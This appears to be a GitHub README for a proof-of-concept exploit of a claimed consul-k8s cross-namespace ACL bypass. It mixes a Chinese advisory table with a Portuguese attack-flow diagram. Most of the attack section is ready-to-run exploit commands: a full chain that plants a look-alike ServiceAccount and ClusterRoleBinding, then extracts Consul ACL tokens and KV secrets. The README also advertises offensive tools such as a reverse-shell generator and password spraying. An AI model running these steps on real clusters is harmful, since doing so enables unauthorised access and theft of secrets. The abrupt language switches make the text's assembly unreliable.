未限制命名空间的 ClusterRoleBindings 允许任何 ServiceAccount 在 Kubernetes 集群中绕过 Consul 的 ACL。
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
consul-k8s(0.42.0 至 2.0.4 版本)为 Consul 内部组件生成 ClusterRoleBindings 和 ServiceAccounts,但未按命名空间限制绑定。当启用 global.acls.manageSystemACLs=true 时,在任何命名空间中创建的 ServiceAccount 都可以像系统组件一样向 Consul 服务器进行身份验证,从而完全绕过 ACL 命名空间。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9(严重) |
| CWE | CWE-863(授权不正确) |
| 公告 | HCSEC-2026-50 |
| 供应商 | HashiCorp |
| 产品 | consul-k8s |
| 要求 | K8s:在其他命名空间中创建 SA 并获取令牌 + 对 Consul API 的网络访问 |
| 日期 | 2026 年 10 月 |
| 版本 | 状态 |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | 存在漏洞 |
| consul-k8s >= 2.1.0 | 已修复 |
| consul-k8s >= 1.8.18(向后移植) | 已修复 |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | 权限 |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | 客户端注册 |
| consul-connect-inject-acl-init | 服务网格令牌 |
| consul-sync-catalog-acl-init | 目录同步 |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
本仓库仅用于教育和安全研究目的。请仅在获得明确许可的授权环境中使用。作者不对任何滥用行为承担责任。
| 工具 | 描述 |
|---|---|
| ghost-ad | Active Directory - LDAP、Kerberoasting、AS-REP Roasting、BloodHound-lite |
| ghost-cloud | 云安全 - AWS、Azure 和 GCP 错误配置扫描器 |
| ghost-fuzz | Web 模糊测试 - 目录暴力破解、参数模糊测试、虚拟主机枚举 |
| ghost-osint | OSINT - 从公开来源收集域名、电子邮件和 IP 情报 |
| ghost-privesc | 权限提升 - Linux 提权检查器,17 种攻击向量,GTFOBins |
| ghost-recon | 侦察 - DNS、SSL、WAF、子域名枚举、电子邮件安全 |
| ghost-report | 报告 - 基于任意 ghost-* JSON 输出生成渗透测试报告 |
| ghost-scan | 端口扫描器 - 异步 TCP/UDP 扫描器,支持横幅抓取和 CVE 关联 |
| ghost-shell | 载荷生成 - 反弹 shell 和 Web shell 生成器,支持 25 种以上语言 |
| ghost-spray | 凭据攻击 - 密码喷洒、撞库、默认凭据测试 |
| ghost-wifi | WiFi 攻击 - 监听模式、取消认证、WPA/WPA2 抓包、PMKID、WPS、邪恶双胞胎 |
作者:Gh0st-Bx1